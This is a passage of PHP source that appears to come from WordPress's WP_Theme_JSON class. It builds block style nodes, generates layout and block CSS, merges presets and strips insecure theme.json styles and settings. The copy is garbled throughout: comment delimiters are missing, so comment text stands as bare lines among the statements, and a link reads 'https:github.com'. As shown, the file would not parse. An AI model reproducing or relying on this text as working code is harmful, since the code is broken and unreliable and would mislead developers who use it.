if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] ) ) {
foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] as $pseudo_selector ) {
if ( isset( $theme_json['styles']['elements'][ $element ][ $pseudo_selector ] ) ) {
$nodes[] = array(
'path' => array( 'styles', 'elements', $element ),
'selector' => static::append_to_selector( static::ELEMENTS[ $element ], $pseudo_selector ),
);
}
}
}
}
}
Blocks.
if ( ! isset( $theme_json['styles']['blocks'] ) ) {
return $nodes;
}
$block_nodes = static::get_block_nodes( $theme_json );
foreach ( $block_nodes as $block_node ) {
$nodes[] = $block_node;
}
*
* Filters the list of style nodes with metadata.
*
* This allows for things like loading block CSS independently.
*
* @since 6.1.0
*
* @param array $nodes Style nodes with metadata.
return apply_filters( 'wp_theme_json_get_style_nodes', $nodes );
}
*
* A public helper to get the block nodes from a theme.json file.
*
* @since 6.1.0
*
* @return array The block nodes in theme.json.
public function get_styles_block_nodes() {
return static::get_block_nodes( $this->theme_json );
}
*
* Returns a filtered declarations array if there is a separator block with only a background
* style defined in theme.json by adding a color attribute to reflect the changes in the front.
*
* @since 6.1.1
*
* @param array $declarations List of declarations.
* @return array $declarations List of declarations filtered.
private static function update_separator_declarations( $declarations ) {
$background_color = '';
$border_color_matches = false;
$text_color_matches = false;
foreach ( $declarations as $declaration ) {
if ( 'background-color' === $declaration['name'] && ! $background_color && isset( $declaration['value'] ) ) {
$background_color = $declaration['value'];
} elseif ( 'border-color' === $declaration['name'] ) {
$border_color_matches = true;
} elseif ( 'color' === $declaration['name'] ) {
$text_color_matches = true;
}
if ( $background_color && $border_color_matches && $text_color_matches ) {
break;
}
}
if ( $background_color && ! $border_color_matches && ! $text_color_matches ) {
$declarations[] = array(
'name' => 'color',
'value' => $background_color,
);
}
return $declarations;
}
*
* An internal method to get the block nodes from a theme.json file.
*
* @since 6.1.0
* @since 6.3.0 Refactored and stabilized selectors API.
*
* @param array $theme_json The theme.json converted to an array.
* @return array The block nodes in theme.json.
private static function get_block_nodes( $theme_json ) {
$selectors = static::get_blocks_metadata();
$nodes = array();
if ( ! isset( $theme_json['styles'] ) ) {
return $nodes;
}
Blocks.
if ( ! isset( $theme_json['styles']['blocks'] ) ) {
return $nodes;
}
foreach ( $theme_json['styles']['blocks'] as $name => $node ) {
$selector = null;
if ( isset( $selectors[ $name ]['selector'] ) ) {
$selector = $selectors[ $name ]['selector'];
}
$duotone_selector = null;
if ( isset( $selectors[ $name ]['duotone'] ) ) {
$duotone_selector = $selectors[ $name ]['duotone'];
}
$feature_selectors = null;
if ( isset( $selectors[ $name ]['selectors'] ) ) {
$feature_selectors = $selectors[ $name ]['selectors'];
}
$variation_selectors = array();
if ( isset( $node['variations'] ) ) {
foreach ( $node['variations'] as $variation => $node ) {
$variation_selectors[] = array(
'path' => array( 'styles', 'blocks', $name, 'variations', $variation ),
'selector' => $selectors[ $name ]['styleVariations'][ $variation ],
);
}
}
$nodes[] = array(
'name' => $name,
'path' => array( 'styles', 'blocks', $name ),
'selector' => $selector,
'selectors' => $feature_selectors,
'duotone' => $duotone_selector,
'features' => $feature_selectors,
'variations' => $variation_selectors,
);
if ( isset( $theme_json['styles']['blocks'][ $name ]['elements'] ) ) {
foreach ( $theme_json['styles']['blocks'][ $name ]['elements'] as $element => $node ) {
$nodes[] = array(
'path' => array( 'styles', 'blocks', $name, 'elements', $element ),
'selector' => $selectors[ $name ]['elements'][ $element ],
);
Handle any pseudo selectors for the element.
if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] ) ) {
foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] as $pseudo_selector ) {
if ( isset( $theme_json['styles']['blocks'][ $name ]['elements'][ $element ][ $pseudo_selector ] ) ) {
$nodes[] = array(
'path' => array( 'styles', 'blocks', $name, 'elements', $element ),
'selector' => static::append_to_selector( $selectors[ $name ]['elements'][ $element ], $pseudo_selector ),
);
}
}
}
}
}
}
return $nodes;
}
*
* Gets the CSS rules for a particular block from theme.json.
*
* @since 6.1.0
*
* @param array $block_metadata Metadata about the block to get styles for.
*
* @return string Styles for the block.
public function get_styles_for_block( $block_metadata ) {
$node = _wp_array_get( $this->theme_json, $block_metadata['path'], array() );
$use_root_padding = isset( $this->theme_json['settings']['useRootPaddingAwareAlignments'] ) && true === $this->theme_json['settings']['useRootPaddingAwareAlignments'];
$selector = $block_metadata['selector'];
$settings = isset( $this->theme_json['settings'] ) ? $this->theme_json['settings'] : array();
$feature_declarations = static::get_feature_declarations_for_node( $block_metadata, $node );
If there are style variations, generate the declarations for them, including any feature selectors the block may have.
$style_variation_declarations = array();
if ( ! empty( $block_metadata['variations'] ) ) {
foreach ( $block_metadata['variations'] as $style_variation ) {
$style_variation_node = _wp_array_get( $this->theme_json, $style_variation['path'], array() );
$clean_style_variation_selector = trim( $style_variation['selector'] );
Generate any feature/subfeature style declarations for the current style variation.
$variation_declarations = static::get_feature_declarations_for_node( $block_metadata, $style_variation_node );
Combine selectors with style variation's selector and add to overall style variation declarations.
foreach ( $variation_declarations as $current_selector => $new_declarations ) {
If current selector includes block classname, remove it but leave the whitespace in.
$shortened_selector = str_replace( $block_metadata['selector'] . ' ', ' ', $current_selector );
Prepend the variation selector to the current selector.
$split_selectors = explode( ',', $shortened_selector );
$updated_selectors = array_map(
static function ( $split_selector ) use ( $clean_style_variation_selector ) {
return $clean_style_variation_selector . $split_selector;
},
$split_selectors
);
$combined_selectors = implode( ',', $updated_selectors );
Add the new declarations to the overall results under the modified selector.
$style_variation_declarations[ $combined_selectors ] = $new_declarations;
}
Compute declarations for remaining styles not covered by feature level selectors.
$style_variation_declarations[ $style_variation['selector'] ] = static::compute_style_properties( $style_variation_node, $settings, null, $this->theme_json );
}
}
* Get a reference to element name from path.
* $block_metadata['path'] = array( 'styles','elements','link' );
* Make sure that $block_metadata['path'] describes an element node, like [ 'styles', 'element', 'link' ].
* Skip non-element paths like just ['styles'].
$is_processing_element = in_array( 'elements', $block_metadata['path'], true );
$current_element = $is_processing_element ? $block_metadata['path'][ count( $block_metadata['path'] ) - 1 ] : null;
$element_pseudo_allowed = array();
if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ] ) ) {
$element_pseudo_allowed = static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ];
}
* Check for allowed pseudo classes (e.g. ":hover") from the $selector ("a:hover").
* This also resets the array keys.
$pseudo_matches = array_values(
array_filter(
$element_pseudo_allowed,
static function ( $pseudo_selector ) use ( $selector ) {
return str_contains( $selector, $pseudo_selector );
}
)
);
$pseudo_selector = isset( $pseudo_matches[0] ) ? $pseudo_matches[0] : null;
* If the current selector is a pseudo selector that's defined in the allow list for the current
* element then compute the style properties for it.
* Otherwise just compute the styles for the default selector as normal.
if ( $pseudo_selector && isset( $node[ $pseudo_selector ] ) &&
isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ] )
&& in_array( $pseudo_selector, static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ], true )
) {
$declarations = static::compute_style_properties( $node[ $pseudo_selector ], $settings, null, $this->theme_json, $selector, $use_root_padding );
} else {
$declarations = static::compute_style_properties( $node, $settings, null, $this->theme_json, $selector, $use_root_padding );
}
$block_rules = '';
* 1. Separate the declarations that use the general selector
* from the ones using the duotone selector.
$declarations_duotone = array();
foreach ( $declarations as $index => $declaration ) {
if ( 'filter' === $declaration['name'] ) {
unset( $declarations[ $index ] );
$declarations_duotone[] = $declaration;
}
}
Update declarations if there are separators with only background color defined.
if ( '.wp-block-separator' === $selector ) {
$declarations = static::update_separator_declarations( $declarations );
}
2. Generate and append the rules that use the general selector.
$block_rules .= static::to_ruleset( $selector, $declarations );
3. Generate and append the rules that use the duotone selector.
if ( isset( $block_metadata['duotone'] ) && ! empty( $declarations_duotone ) ) {
$block_rules .= static::to_ruleset( $block_metadata['duotone'], $declarations_duotone );
}
4. Generate Layout block gap styles.
if (
static::ROOT_BLOCK_SELECTOR !== $selector &&
! empty( $block_metadata['name'] )
) {
$block_rules .= $this->get_layout_styles( $block_metadata );
}
5. Generate and append the feature level rulesets.
foreach ( $feature_declarations as $feature_selector => $individual_feature_declarations ) {
$block_rules .= static::to_ruleset( $feature_selector, $individual_feature_declarations );
}
6. Generate and append the style variation rulesets.
foreach ( $style_variation_declarations as $style_variation_selector => $individual_style_variation_declarations ) {
$block_rules .= static::to_ruleset( $style_variation_selector, $individual_style_variation_declarations );
}
return $block_rules;
}
*
* Outputs the CSS for layout rules on the root.
*
* @since 6.1.0
*
* @param string $selector The root node selector.
* @param array $block_metadata The metadata for the root block.
* @return string The additional root rules CSS.
public function get_root_layout_rules( $selector, $block_metadata ) {
$css = '';
$settings = isset( $this->theme_json['settings'] ) ? $this->theme_json['settings'] : array();
$use_root_padding = isset( $this->theme_json['settings']['useRootPaddingAwareAlignments'] ) && true === $this->theme_json['settings']['useRootPaddingAwareAlignments'];
* Reset default browser margin on the root body element.
* This is set on the root selector **before** generating the ruleset
* from the `theme.json`. This is to ensure that if the `theme.json` declares
* `margin` in its `spacing` declaration for the `body` element then these
* user-generated values take precedence in the CSS cascade.
* @link https:github.com/WordPress/gutenberg/issues/36147.
$css .= 'body { margin: 0;';
* If there are content and wide widths in theme.json, output them
* as custom properties on the body element so all blocks can use them.
if ( isset( $settings['layout']['contentSize'] ) || isset( $settings['layout']['wideSize'] ) ) {
$content_size = isset( $settings['layout']['contentSize'] ) ? $settings['layout']['contentSize'] : $settings['layout']['wideSize'];
$content_size = static::is_safe_css_declaration( 'max-width', $content_size ) ? $content_size : 'initial';
$wide_size = isset( $settings['layout']['wideSize'] ) ? $settings['layout']['wideSize'] : $settings['layout']['contentSize'];
$wide_size = static::is_safe_css_declaration( 'max-width', $wide_size ) ? $wide_size : 'initial';
$css .= '--wp--style--global--content-size: ' . $content_size . ';';
$css .= '--wp--style--global--wide-size: ' . $wide_size . ';';
}
$css .= ' }';
if ( $use_root_padding ) {
Top and bottom padding are applied to the outer block container.
$css .= '.wp-site-blocks { padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom); }';
Right and left padding are applied to the first container with `.has-global-padding` class.
$css .= '.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }';
Nested containers with `.has-global-padding` class do not get padding.
$css .= '.has-global-padding :where(.has-global-padding:not(.wp-block-block)) { padding-right: 0; padding-left: 0; }';
Alignfull children of the container with left and right padding have negative margins so they can still be full width.
$css .= '.has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }';
The above rule is negated for alignfull children of nested containers.
$css .= '.has-global-padding :where(.has-global-padding:not(.wp-block-block)) > .alignfull { margin-right: 0; margin-left: 0; }';
Some of the children of alignfull blocks without content width should also get padding: text blocks and non-alignfull container blocks.
$css .= '.has-global-padding > .alignfull:where(:not(.has-global-padding):not(.is-layout-flex):not(.is-layout-grid)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }';
The above rule also has to be negated for blocks inside nested `.has-global-padding` blocks.
$css .= '.has-global-padding :where(.has-global-padding) > .alignfull:where(:not(.has-global-padding)) > :where([class*="wp-block-"]:not(.alignfull):not([class*="__"]),p,h1,h2,h3,h4,h5,h6,ul,ol) { padding-right: 0; padding-left: 0; }';
}
$css .= '.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }';
$css .= '.wp-site-blocks > .alignright { float: right; margin-left: 2em; }';
$css .= '.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }';
$block_gap_value = isset( $this->theme_json['styles']['spacing']['blockGap'] ) ? $this->theme_json['styles']['spacing']['blockGap'] : '0.5em';
$has_block_gap_support = isset( $this->theme_json['settings']['spacing']['blockGap'] );
if ( $has_block_gap_support ) {
$block_gap_value = static::get_property_value( $this->theme_json, array( 'styles', 'spacing', 'blockGap' ) );
$css .= ":where(.wp-site-blocks) > * { margin-block-start: $block_gap_value; margin-block-end: 0; }";
$css .= ':where(.wp-site-blocks) > :first-child:first-child { margin-block-start: 0; }';
$css .= ':where(.wp-site-blocks) > :last-child:last-child { margin-block-end: 0; }';
For backwards compatibility, ensure the legacy block gap CSS variable is still available.
$css .= "$selector { --wp--style--block-gap: $block_gap_value; }";
}
$css .= $this->get_layout_styles( $block_metadata );
return $css;
}
*
* For metadata values that can either be booleans or paths to booleans, gets the value.
*
* $data = array(
* 'color' => array(
* 'defaultPalette' => true
* )
* );
*
* static::get_metadata_boolean( $data, false );
* => false
*
* static::get_metadata_boolean( $data, array( 'color', 'defaultPalette' ) );
* => true
*
* @since 6.0.0
*
* @param array $data The data to inspect.
* @param bool|array $path Boolean or path to a boolean.
* @param bool $default_value Default value if the referenced path is missing.
* Default false.
* @return bool Value of boolean metadata.
protected static function get_metadata_boolean( $data, $path, $default_value = false ) {
if ( is_bool( $path ) ) {
return $path;
}
if ( is_array( $path ) ) {
$value = _wp_array_get( $data, $path );
if ( null !== $value ) {
return $value;
}
}
return $default_value;
}
*
* Merges new incoming data.
*
* @since 5.8.0
* @since 5.9.0 Duotone preset also has origins.
*
* @param WP_Theme_JSON $incoming Data to merge.
public function merge( $incoming ) {
$incoming_data = $incoming->get_raw_data();
$this->theme_json = array_replace_recursive( $this->theme_json, $incoming_data );
* The array_replace_recursive algorithm merges at the leaf level,
* but we don't want leaf arrays to be merged, so we overwrite it.
*
* For leaf values that are sequential arrays it will use the numeric indexes for replacement.
* We rather replace the existing with the incoming value, if it exists.
* This is the case of spacing.units.
*
* For leaf values that are associative arrays it will merge them as expected.
* This is also not the behavior we want for the current associative arrays (presets).
* We rather replace the existing with the incoming value, if it exists.
* This happens, for example, when we merge data from theme.json upon existing
* theme supports or when we merge anything coming from the same source twice.
* This is the case of color.palette, color.gradients, color.duotone,
* typography.fontSizes, or typography.fontFamilies.
*
* Additionally, for some preset types, we also want to make sure the
* values they introduce don't conflict with default values. We do so
* by checking the incoming slugs for theme presets and compare them
* with the equivalent default presets: if a slug is present as a default
* we remove it from the theme presets.
$nodes = static::get_setting_nodes( $incoming_data );
$slugs_global = static::get_default_slugs( $this->theme_json, array( 'settings' ) );
foreach ( $nodes as $node ) {
Replace the spacing.units.
$path = $node['path'];
$path[] = 'spacing';
$path[] = 'units';
$content = _wp_array_get( $incoming_data, $path, null );
if ( isset( $content ) ) {
_wp_array_set( $this->theme_json, $path, $content );
}
Replace the presets.
foreach ( static::PRESETS_METADATA as $preset ) {
$override_preset = ! static::get_metadata_boolean( $this->theme_json['settings'], $preset['prevent_override'], true );
foreach ( static::VALID_ORIGINS as $origin ) {
$base_path = $node['path'];
foreach ( $preset['path'] as $leaf ) {
$base_path[] = $leaf;
}
$path = $base_path;
$path[] = $origin;
$content = _wp_array_get( $incoming_data, $path, null );
if ( ! isset( $content ) ) {
continue;
}
if ( 'theme' === $origin && $preset['use_default_names'] ) {
foreach ( $content as $key => $item ) {
if ( ! isset( $item['name'] ) ) {
$name = static::get_name_from_defaults( $item['slug'], $base_path );
if ( null !== $name ) {
$content[ $key ]['name'] = $name;
}
}
}
}
if (
( 'theme' !== $origin ) ||
( 'theme' === $origin && $override_preset )
) {
_wp_array_set( $this->theme_json, $path, $content );
} else {
$slugs_node = static::get_default_slugs( $this->theme_json, $node['path'] );
$slugs = array_merge_recursive( $slugs_global, $slugs_node );
$slugs_for_preset = _wp_array_get( $slugs, $preset['path'], array() );
$content = static::filter_slugs( $content, $slugs_for_preset );
_wp_array_set( $this->theme_json, $path, $content );
}
}
}
}
}
*
* Converts all filter (duotone) presets into SVGs.
*
* @since 5.9.1
*
* @param array $origins List of origins to process.
* @return string SVG filters.
public function get_svg_filters( $origins ) {
$blocks_metadata = static::get_blocks_metadata();
$setting_nodes = static::get_setting_nodes( $this->theme_json, $blocks_metadata );
$filters = '';
foreach ( $setting_nodes as $metadata ) {
$node = _wp_array_get( $this->theme_json, $metadata['path'], array() );
if ( empty( $node['color']['duotone'] ) ) {
continue;
}
$duotone_presets = $node['color']['duotone'];
foreach ( $origins as $origin ) {
if ( ! isset( $duotone_presets[ $origin ] ) ) {
continue;
}
foreach ( $duotone_presets[ $origin ] as $duotone_preset ) {
$filters .= wp_get_duotone_filter_svg( $duotone_preset );
}
}
}
return $filters;
}
*
* Determines whether a presets should be overridden or not.
*
* @since 5.9.0
* @deprecated 6.0.0 Use {@see 'get_metadata_boolean'} instead.
*
* @param array $theme_json The theme.json like structure to inspect.
* @param array $path Path to inspect.
* @param bool|array $override Data to compute whether to override the preset.
* @return bool
protected static function should_override_preset( $theme_json, $path, $override ) {
_deprecated_function( __METHOD__, '6.0.0', 'get_metadata_boolean' );
if ( is_bool( $override ) ) {
return $override;
}
* The relationship between whether to override the defaults
* and whether the defaults are enabled is inverse:
*
* - If defaults are enabled => theme presets should not be overridden
* - If defaults are disabled => theme presets should be overridden
*
* For example, a theme sets defaultPalette to false,
* making the default palette hidden from the user.
* In that case, we want all the theme presets to be present,
* so they should override the defaults.
if ( is_array( $override ) ) {
$value = _wp_array_get( $theme_json, array_merge( $path, $override ) );
if ( isset( $value ) ) {
return ! $value;
}
Search the top-level key if none was found for this node.
$value = _wp_array_get( $theme_json, array_merge( array( 'settings' ), $override ) );
if ( isset( $value ) ) {
return ! $value;
}
return true;
}
}
*
* Returns the default slugs for all the presets in an associative array
* whose keys are the preset paths and the leafs is the list of slugs.
*
* For example:
*
* array(
* 'color' => array(
* 'palette' => array( 'slug-1', 'slug-2' ),
* 'gradients' => array( 'slug-3', 'slug-4' ),
* ),
* )
*
* @since 5.9.0
*
* @param array $data A theme.json like structure.
* @param array $node_path The path to inspect. It's 'settings' by default.
* @return array
protected static function get_default_slugs( $data, $node_path ) {
$slugs = array();
foreach ( static::PRESETS_METADATA as $metadata ) {
$path = $node_path;
foreach ( $metadata['path'] as $leaf ) {
$path[] = $leaf;
}
$path[] = 'default';
$preset = _wp_array_get( $data, $path, null );
if ( ! isset( $preset ) ) {
continue;
}
$slugs_for_preset = array();
foreach ( $preset as $item ) {
if ( isset( $item['slug'] ) ) {
$slugs_for_preset[] = $item['slug'];
}
}
_wp_array_set( $slugs, $metadata['path'], $slugs_for_preset );
}
return $slugs;
}
*
* Gets a `default`'s preset name by a provided slug.
*
* @since 5.9.0
*
* @param string $slug The slug we want to find a match from default presets.
* @param array $base_path The path to inspect. It's 'settings' by default.
* @return string|null
protected function get_name_from_defaults( $slug, $base_path ) {
$path = $base_path;
$path[] = 'default';
$default_content = _wp_array_get( $this->theme_json, $path, null );
if ( ! $default_content ) {
return null;
}
foreach ( $default_content as $item ) {
if ( $slug === $item['slug'] ) {
return $item['name'];
}
}
return null;
}
*
* Removes the preset values whose slug is equal to any of given slugs.
*
* @since 5.9.0
*
* @param array $node The node with the presets to validate.
* @param array $slugs The slugs that should not be overridden.
* @return array The new node.
protected static function filter_slugs( $node, $slugs ) {
if ( empty( $slugs ) ) {
return $node;
}
$new_node = array();
foreach ( $node as $value ) {
if ( isset( $value['slug'] ) && ! in_array( $value['slug'], $slugs, true ) ) {
$new_node[] = $value;
}
}
return $new_node;
}
*
* Removes insecure data from theme.json.
*
* @since 5.9.0
* @since 6.3.2 Preserves global styles block variations when securing styles.
*
* @param array $theme_json Structure to sanitize.
* @return array Sanitized structure.
public static function remove_insecure_properties( $theme_json ) {
$sanitized = array();
$theme_json = WP_Theme_JSON_Schema::migrate( $theme_json );
$valid_block_names = array_keys( static::get_blocks_metadata() );
$valid_element_names = array_keys( static::ELEMENTS );
$valid_variations = array();
foreach ( self::get_blocks_metadata() as $block_name => $block_meta ) {
if ( ! isset( $block_meta['styleVariations'] ) ) {
continue;
}
$valid_variations[ $block_name ] = array_keys( $block_meta['styleVariations'] );
}
$theme_json = static::sanitize( $theme_json, $valid_block_names, $valid_element_names, $valid_variations );
$blocks_metadata = static::get_blocks_metadata();
$style_nodes = static::get_style_nodes( $theme_json, $blocks_metadata );
foreach ( $style_nodes as $metadata ) {
$input = _wp_array_get( $theme_json, $metadata['path'], array() );
if ( empty( $input ) ) {
continue;
}
The global styles custom CSS is not sanitized, but can only be edited by users with 'edit_css' capability.
if ( isset( $input['css'] ) && current_user_can( 'edit_css' ) ) {
$output = $input;
} else {
$output = static::remove_insecure_styles( $input );
}
* Get a reference to element name from path.
* $metadata['path'] = array( 'styles', 'elements', 'link' );
$current_element = $metadata['path'][ count( $metadata['path'] ) - 1 ];
* $output is stripped of pseudo selectors. Re-add and process them
* or insecure styles here.
if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ] ) ) {
foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $current_element ] as $pseudo_selector ) {
if ( isset( $input[ $pseudo_selector ] ) ) {
$output[ $pseudo_selector ] = static::remove_insecure_styles( $input[ $pseudo_selector ] );
}
}
}
if ( ! empty( $output ) ) {
_wp_array_set( $sanitized, $metadata['path'], $output );
}
if ( isset( $metadata['variations'] ) ) {
foreach ( $metadata['variations'] as $variation ) {
$variation_input = _wp_array_get( $theme_json, $variation['path'], array() );
if ( empty( $variation_input ) ) {
continue;
}
$variation_output = static::remove_insecure_styles( $variation_input );
if ( ! empty( $variation_output ) ) {
_wp_array_set( $sanitized, $variation['path'], $variation_output );
}
}
}
}
$setting_nodes = static::get_setting_nodes( $theme_json );
foreach ( $setting_nodes as $metadata ) {
$input = _wp_array_get( $theme_json, $metadata['path'], array() );
if ( empty( $input ) ) {
continue;
}
$output = static::remove_insecure_settings( $input );
if ( ! empty( $output ) ) {
_wp_array_set( $sanitized, $metadata['path'], $output );
}
}
if ( empty( $sanitized['styles'] ) ) {
unset( $theme_json['styles'] );
} else {
$theme_json['styles'] = $sanitized['styles'];
}
if ( empty( $sanitized['settings'] ) ) {
unset( $theme_json['settings'] );
} else {
$theme_json['settings'] = $sanitized['settings'];
}
return $theme_json;
}
*
* Processes a setting node and returns the same node
* without the insecure settings.
*
* @since 5.9.0
*
* @param array $input Node to process.
* @return array
protected static function remove_insecure_settings( $input ) {
$output = array();
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
foreach ( static::VALID_ORIGINS as $origin ) {
$path_with_origin = $preset_metadata['path'];
$path_with_origin[] = $origin;
$presets = _wp_array_get( $input, $path_with_origin, null );
if ( null === $presets ) {
continue;
}
$escaped_preset = array();
foreach ( $presets as $preset ) {
if (
esc_attr( esc_html( $preset['name'] ) ) === $preset['name'] &&
sanitize_html_class( $preset['slug'] ) === $preset['slug']
) {
$value = null;
if ( isset( $preset_metadata['value_key'], $preset[ $preset_metadata['value_key'] ] ) ) {
$value = $preset[ $preset_metadata['value_key'] ];
} elseif (
isset( $preset_metadata['value_func'] ) &&
is_callable( $preset_metadata['value_func'] )
) {
$value = call_user_func( $preset_metadata['value_func'], $preset );
}
$preset_is_valid = true;
foreach ( $preset_metadata['properties'] as $property ) {
if ( ! static::is_safe_css_declaration( $property, $value ) ) {
$preset_is_valid = false;
break;
}
}
if ( $preset_is_valid ) {
$escaped_preset[] = $preset;
}
}
}
if ( ! empty( $escaped_preset ) ) {
_wp_array_set( $output, $path_with_origin, $escaped_preset );
}
}
}
Ensure indirect properties not included in any `PRESETS_METADATA` value are allowed.
static::remove_indirect_properties( $input, $output );
return $output;
}
*
* Processes a style node and returns the same node
* without the insecure styles.
*
* @since 5.9.0
*
* @param array $input Node to process.
* @return array
protected static function remove_insecure_styles( $input ) {
$output = array();
$declarations = static::compute_style_properties( $input );
foreach ( $declarations as $declaration ) {
if ( static::is_safe_css_declaration( $declaration['name'], $declaration['value'] ) ) {
$path = static::PROPERTIES_METADATA[ $declaration['name'] ];
* Check the value isn't an array before adding so as to not
* double up shorthand and longhand styles.
$value = _wp_array_get( $input, $path, array() );
if ( ! is_array( $value ) ) {
_wp_array_set( $output, $path, $value );
}
}
}
Ensure indirect properties not handled by `compute_style_properties` are allowed.
static::remove_indirect_properties( $input, $output );
return $output;
}
*
* Checks that a declaration provided by the user is safe.
*
* @since 5.9.0
*
* @param string $property_name Property name in a CSS declaration, i.e. the `color` in `color: red`.
* @param string $property_value Value in a CSS declaration, i.e. the `red` in `color: red`.
* @return bool
protected static function is_safe_css_declaration( $property_name, $property_value ) {
$style_to_validate = $property_name . ': ' . $property_value;
$filtered = esc_html( safecss_filter_attr( $style_to_validate ) );
return ! empty( trim( $filtered ) );
}
*
* Removes indirect properties from the given input node and
* sets in the given output node.
*
* @since 6.2.0
*
* @param array $input Node to process.
* @param array $output The processed node. Passed by reference.
private static function remove_indirect_properties( $input, &$output ) {
foreach ( static::INDIRECT_PROPERTIES_METADATA as $property => $paths ) {
foreach ( $paths as $path ) {
$value = _wp_array_get( $input, $path );
if (
is_string( $value ) &&
static::is_safe_css_declaration( $property, $value )
) {
_wp_array_set( $output, $path, $value );
}
}
}
}
*
* Returns the raw data.
*
* @since 5.8.0
*
* @return array Raw data.
public function get_raw_data() {
return $this->theme_json;
}
*
* Transforms the given editor settings according the
* add_theme_support format to the theme.json format.
*
* @since 5.8.0
*
* @param array $settings Existing editor settings.
* @return array Config that adheres to the theme.json schema.
public static function get_from_editor_settings( $settings ) {
$theme_settings = array(
'version' => static::LATEST_SCHEMA,
'settings' => array(),
);
Deprecated theme supports.
if ( isset( $settings['disableCustomColors'] ) ) {
if ( ! isset( $theme_settings['settings']['color'] ) ) {
$theme_settings['settings']['color'] = array();
}
$theme_settings['settings']['color']['custom'] = ! $settings['disableCustomColors'];
}
if ( isset( $settings['disableCustomGradients'] ) ) {
if ( ! isset( $theme_settings['settings']['color'] ) ) {
$theme_settings['settings']['color'] = array();
}
$theme_settings['settings']['color']['customGradient'] = ! $settings['disableCustomGradients'];
}
if ( isset( $settings['disableCustomFontSizes'] ) ) {
if ( ! isset( $theme_settings['settings']['typography'] ) ) {
$theme_settings['settings']['typography'] = array();
}
$theme_settings['settings']['typography']['customFontSize'] = ! $settings['disableCustomFontSizes'];
}
if ( isset( $settings['enableCustomLineHeight'] ) ) {
if ( ! isset( $theme_settings['settings']['typography'] ) ) {
$theme_settings['settings']['typography'] = array();
}
$theme_settings['settings']['typography']['lineHeight'] = $settings['enableCustomLineHeight'];
}
if ( isset( $settings['enableCustomUnits'] ) ) {
if ( ! isset( $theme_settings['settings']['spacing'] ) ) {
$theme_settings['settings']['spacing'] = array();
}
$theme_settings['settings']['spacing']['units'] = ( true === $settings['enableCustomUnits'] ) ?
array( 'px', 'em', 'rem', 'vh', 'vw', '%' ) :
$settings['enableCustomUnits'];
}
if ( isset( $settings['colors'] ) ) {
if ( ! isset( $theme_settings['settings']['color'] ) ) {
$theme_settings['settings']['color'] = array();
}
$theme_settings['settings']['color']['palette'] = $settings['colors'];
}
if ( isset( $settings['gradients'] ) ) {
if ( ! isset( $theme_settings['settings']['color'] ) ) {
$theme_settings['settings']['color'] = array();
}
$theme_settings['settings']['color']['gradients'] = $settings['gradients'];
}
if ( isset( $settings['fontSizes'] ) ) {
$font_sizes = $settings['fontSizes'];
Back-compatibility for presets without units.
foreach ( $font_sizes as $key => $font_size ) {
if ( is_numeric( $font_size['size'] ) ) {
$font_sizes[ $key ]['size'] = $font_size['size'] . 'px';
}
}
if ( ! isset( $theme_settings['settings']['typography'] ) ) {
$theme_settings['settings']['typography'] = array();
}
$theme_settings['settings']['typography']['fontSizes'] = $font_sizes;
}
if ( isset( $settings['enableCustomSpacing'] ) ) {
if ( ! isset( $theme_settings['settings']['spacing'] ) ) {
$theme_settings['settings']['spacing'] = array();
}
$theme_settings['settings']['spacing']['padding'] = $settings['enableCustomSpacing'];
}
return $theme_settings;
}
*
* Returns the current theme's wanted patterns(slugs) to be
* registered from Pattern Directory.
*
* @since 6.0.0
*
* @return string[]
public function get_patterns() {
if ( isset( $this->theme_json['patterns'] ) && is_array( $this->theme_json['patterns'] ) ) {
return $this->theme_json['patterns'];
}
return array();
}
*
* Returns a valid theme.json as provided by a theme.
*
* Unlike get_raw_data() this returns the presets flattened, as provided by a theme.
* This also uses appearanceTools instead of their opt-ins if all of them are true.
*
* @since 6.0.0
*
* @return array
public function get_data() {
$output = $this->theme_json;
$nodes = static::get_setting_nodes( $output );
*
* Flatten the theme & custom origins into a single one.
*
* For example, the following:
*
* {
* "settings": {
* "color": {
* "palette": {
* "theme": [ {} ],
* "custom": [ {} ]
* }
* }
* }
* }
*
* will be converted to:
*
* {
* "settings": {
* "color": {
* "palette": [ {} ]
* }
* }
* }
foreach ( $nodes as $node ) {
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
$path = $node['path'];
foreach ( $preset_metadata['path'] as $preset_metadata_path ) {
$path[] = $preset_metadata_path;
}
$preset = _wp_array_get( $output, $path, null );
if ( null === $preset ) {
continue;
}
$items = array();
if ( isset( $preset['theme'] ) ) {
foreach ( $preset['theme'] as $item ) {
$slug = $item['slug'];
unset( $item['slug'] );
$items[ $slug ] = $item;
}
}
if ( isset( $preset['custom'] ) ) {
foreach ( $preset['custom'] as $item ) {
$slug = $item['slug'];
unset( $item['slug'] );
$items[ $slug ] = $item;
}
}
$flattened_preset = array();
foreach ( $items as $slug => $value ) {
$flattened_preset[] = array_merge( array( 'slug' => (string) $slug ), $value );
}
_wp_array_set( $output, $path, $flattened_preset );
}
}
* If all of the static::APPEARANCE_TOOLS_OPT_INS are true,
* this code unsets them and sets 'appearanceTools' instead.
foreach ( $nodes as $node ) {
$all_opt_ins_are_set = true;
foreach ( static::APPEARANCE_TOOLS_OPT_INS as $opt_in_path ) {
$full_path = $node['path'];
